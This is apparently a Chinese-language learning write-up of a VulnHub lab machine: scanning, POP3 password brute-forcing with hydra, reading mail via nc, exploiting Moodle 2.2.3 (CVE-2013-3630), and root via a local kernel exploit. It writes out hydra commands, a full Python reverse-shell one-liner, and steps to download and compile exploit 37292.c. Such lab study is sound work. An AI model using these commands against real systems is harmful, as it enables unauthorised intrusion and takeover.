前言:最近有点迷茫后面的路不知道该怎么继续往下走,再团队师傅的指点下我开始对vulnhub的靶场进行学习,比较好的一点是靶机是从外网到内网的一整个过程,可以系统性的进行学习
关于靶机的教程网上已经有很多师傅写了,第一次打这种靶机也是参照了师傅们的方法,希望后面能养出自己的思路
首先把靶机从官网down下来,安装完靶机之后开始复现
1.nmap扫描
靶机是NAT桥接,共享的本机ip,使用nmap扫描本网段
基础的nmap指令百度一搜就有,这里就不放了
这里发现了目标ip:192.168.149.130
开始端口扫描
发现80端口,访问一下
一个网页,访问一下/sev-home/这个路径
需要账号密码登录,回到原来的界面查看一下源码信息
这里找到了boris的密码,拿去html解密
拿去登录就行了
查看源码
看不懂,翻译一下
请记住,由于默默无闻的安全性非常有效,因此我们将pop3服务配置为在很高的非默认端口上运行.
看到这想起了55006和55007两个端口,通过尝试55006端口访问被重置,55007成功访问
接下来通过hydra爆破口令
echo -e 'natalya\nboris' > yh.txt
使用该命令创建包含这两个用户名的文本
然后通过kali自带字典目录/usr/share/wordlists/进行爆破
hydra -L yh.txt -P /usr/share/wordlists/fasttrack.txt 192.168.149.130 -s 55007 pop3
我们成功爆破出这俩账号
用户:boris 密码:secret1!
用户:natalya 密码:bird
拿到登录凭证之后我们通过nc连接pop3服务
这里贴上这几个pop3命令的作用
user username 认证用户名
pass password认证密码认证,认证通过则状态转换
stat 处理请求server回送邮箱统计资料,如邮件数、邮件总字节数
retr n 处理server返回邮件的全部文本
至此我们看了boris的三封邮件没啥可用信息,登录另一个账号看一下
在第二封邮件里面有一组用户名和密码,并且给出了域名和网站,需要在本地服务hosts添加此域名信息
打开文本添加完之后重启一下network服务,然后通过浏览器访问http:severnaya-station.com/gnocertdir
使用刚刚邮件里的那组账号密码登录
右边区域好像还发现了admin用户发的公告
翻一下这个账号有啥吧,发现了一封邮件
这里一看又是一个用户名,接着使用hydra爆破
一样的步骤,将doak加入之前创建的txt文本中,或者重新建个文本
这里跑出来了
**用户:doak
密码:goat
**
接着nc连接pop3服务
找到了登录邮箱的账号密码,拿去登录
找到个txt文件,打开看一下
大概意思就是管理员的登录凭证隐藏在这个映像文件里,我们查看一下该图
可以使用weget命令把图片下载下来
wget http://severnaya-station.com/dir007key/for-007.jpg
这里我没有这个命令,懒得装了,就用浏览器直接下载了
下载到本地之后,这张图我们得分析一下,我先使用的binwalk命令没有得到有价值的东西,参考了一下教程使用strings
发现了这个base64编码,拿去解一下
至此我们拿到了管理员的密码,去登陆
2.漏洞利用
后面就是漏洞利用,发现为moodle 2.2.3,存在远程命令执行漏洞CVE-2013-3630
这里msf我不太会用陷入了点麻烦(后面得去学一下),找了一下还有另一种利用方式,找到网站管理系统路径发现可以上传python代码,进行反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.149.128”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ip那里记得改成自己的
使用python对本地6666端口上传一个shell,然后本地开启端口6666进行监听
然后我们回到用户界面找一个能发送数据出去的地方
随便输入点东西
点击这里发送
这里不知道为啥监听失败了,还是决定拿MSF打一下
这里由于目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
查找到exp,并设置好配置
打就完了
成功拿到了shell
接下来转tty
python -c 'import pty; pty.spawn("/bin/bash")'
这里查看到只是一个www-data的低权限用户,那就最后一步提权
这里看到了操作系统和内核版本号
可以在kali本地中查找shell
由于靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译
gcc改成cc
在这里插入图片描述
本地开启服务
使用wget命令将37292.c文件下载到靶机目录,并且用cc进行编译
赋予权限之后运行exp,查看id终于成了,root权限
本靶机的挑战目标是通过root权限拿到flag.txt
我们进入root用户查看一下目录,找到了目标文件
访问flag路径
麻了,真不容易啊,第一次打碰到无数问题,心都碎了…好在成功了